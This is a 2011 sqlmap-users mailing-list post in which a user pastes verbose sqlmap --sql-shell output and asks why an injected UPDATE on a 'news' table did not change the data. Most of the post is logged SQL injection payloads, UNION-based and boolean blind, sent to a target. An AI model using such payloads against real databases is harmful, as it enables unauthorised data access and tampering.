[sqlmap-users] When using '--sql-shell' for running UPDATE query this is what I see with -v 3
Brought to you by:
inquisb
From: Liran M. <rea...@gm...> - 2011-07-30 16:52:21
|
sql-shell> update news set title = "dasdasd"; do you want to retrieve the SQL statement output? [y/N/a] y [19:50:14] [INFO] fetching SQL data manipulation query output: 'update news set title = "dasdasd";' [19:50:14] [PAYLOAD] -1868 UNION ALL SELECT NULL, NULL, NULL, CONCAT(CHAR(58,111,100,99,58),IFNULL(UPDATE news set title = "dasdasd";,CHAR(32)),CHAR(58,100,117,121,58)), NULL, NULL# [19:50:15] [WARNING] if the problem persists with 'None' values please try to use hidden switch --no-cast (fixing problems with some collation issues) [19:50:15] [DEBUG] performed 1 queries in 0 seconds [19:50:15] [PAYLOAD] -3449 [19:50:16] [INFO] retrieving the length of query output [19:50:16] [PAYLOAD] -1492 OR NOT (ORD(MID((IFNULL(LENGTH(UPDATE news set title = "dasdasd";),CHAR(32))),1,1)) > 51) [19:50:16] [PAYLOAD] -1492 OR NOT (ORD(MID((IFNULL(LENGTH(UPDATE news set title = "dasdasd";),CHAR(32))),1,1)) > 48) [19:50:16] [PAYLOAD] -1492 OR NOT (ORD(MID((IFNULL(LENGTH(UPDATE news set title = "dasdasd";),CHAR(32))),1,1)) > 1) [19:50:17] [INFO] retrieved: [19:50:17] [DEBUG] performed 3 queries in 1 seconds [19:50:17] [DEBUG] starting 50 threads [19:50:17] [PAYLOAD] -1492 OR NOT (ORD(MID((IFNULL(UPDATE news set title = "dasdasd";,CHAR(32))),1,1)) > 64) [19:50:17] [PAYLOAD] -1492 OR NOT (ORD(MID((IFNULL(UPDATE news set title = "dasdasd";,CHAR(32))),1,1)) > 32) [19:50:17] [PAYLOAD] -1492 OR NOT (ORD(MID((IFNULL(UPDATE news set title = "dasdasd";,CHAR(32))),1,1)) > 16) [19:50:18] [PAYLOAD] -1492 OR NOT (ORD(MID((IFNULL(UPDATE news set title = "dasdasd";,CHAR(32))),1,1)) > 8) [19:50:18] [PAYLOAD] -1492 OR NOT (ORD(MID((IFNULL(UPDATE news set title = "dasdasd";,CHAR(32))),1,1)) > 4) [19:50:18] [PAYLOAD] -1492 OR NOT (ORD(MID((IFNULL(UPDATE news set title = "dasdasd";,CHAR(32))),1,1)) > 2) [19:50:18] [PAYLOAD] -1492 OR NOT (ORD(MID((IFNULL(UPDATE news set title = "dasdasd";,CHAR(32))),1,1)) > 1) [19:50:19] [INFO] retrieved: [19:50:19] [DEBUG] performed 7 queries in 3 seconds the update command didnt work, it didnt updated the requested column Please help me thanks |